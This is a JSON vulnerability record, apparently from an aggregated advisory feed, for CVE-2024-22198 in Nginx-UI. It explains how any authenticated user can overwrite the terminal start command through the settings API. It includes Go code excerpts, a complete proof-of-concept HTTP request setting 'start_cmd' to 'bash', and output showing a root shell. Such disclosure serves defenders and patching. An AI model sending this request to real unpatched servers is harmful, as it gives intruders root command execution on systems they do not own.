{"id":"CVE-2024-22198","aliases":["GHSA-8r25-68wm-jw35","GO-2024-2462"],"url":"https://o3.security/vulnerability/CVE-2024-22198","summary":"Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)","details":"### Summary\nNginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.\n\n### Details\nThe `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\n\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\n\nThe `SaveSettings` function is defined as follows:\n\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        Server settings.Server `json:\"server\"`\n        ...\n    }\n\n    ...\n\n    settings.ServerSettings = json.Server\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\n\nThe `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used:\n\n```go\nfunc Pty(c *gin.Context) {\n\t...\n\n\tp, err := pty.NewPipeLine(ws)\n\n\t...\n}\n```\n\nThe [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows:\n\n```go\nfunc NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {\n\tc := exec.Command(settings.ServerSettings.StartCmd)\n\n    ...\n```\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n> Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"start_cmd\":\"bash\"` :\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 512\nAuthorization: <<JWT TOKEN>>\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"...\",\"node_secret\":\"...\",\"http_challenge_port\":\"9180\",\"email\":\"...\",\"database\":\"foo\",\"start_cmd\":\"bash\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Open a terminal from the web interface and execute arbitrary commands as `root`:\n```\nroot@1de46642d108:/app# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.","published":"2024-01-11T19:38:27.296Z","modified":"2026-08-12T03:51:39.308308393Z","cvss":{"score":7.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","fixedVersion":"1.9.10-0.20231219184941-827e76c46e63"}],"fix":{"url":"https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3","label":"0xJacky/nginx-ui@827e76c"},"references":[{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"},{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11"},{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29"},{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"},{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12"},{"type":"ADVISORY","url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/22xxx/CVE-2024-22198.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22198"},{"type":"FIX","url":"https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"},{"type":"PACKAGE","url":"https://github.com/0xJacky/nginx-ui"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2024-2462"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:39.308308393Z"}}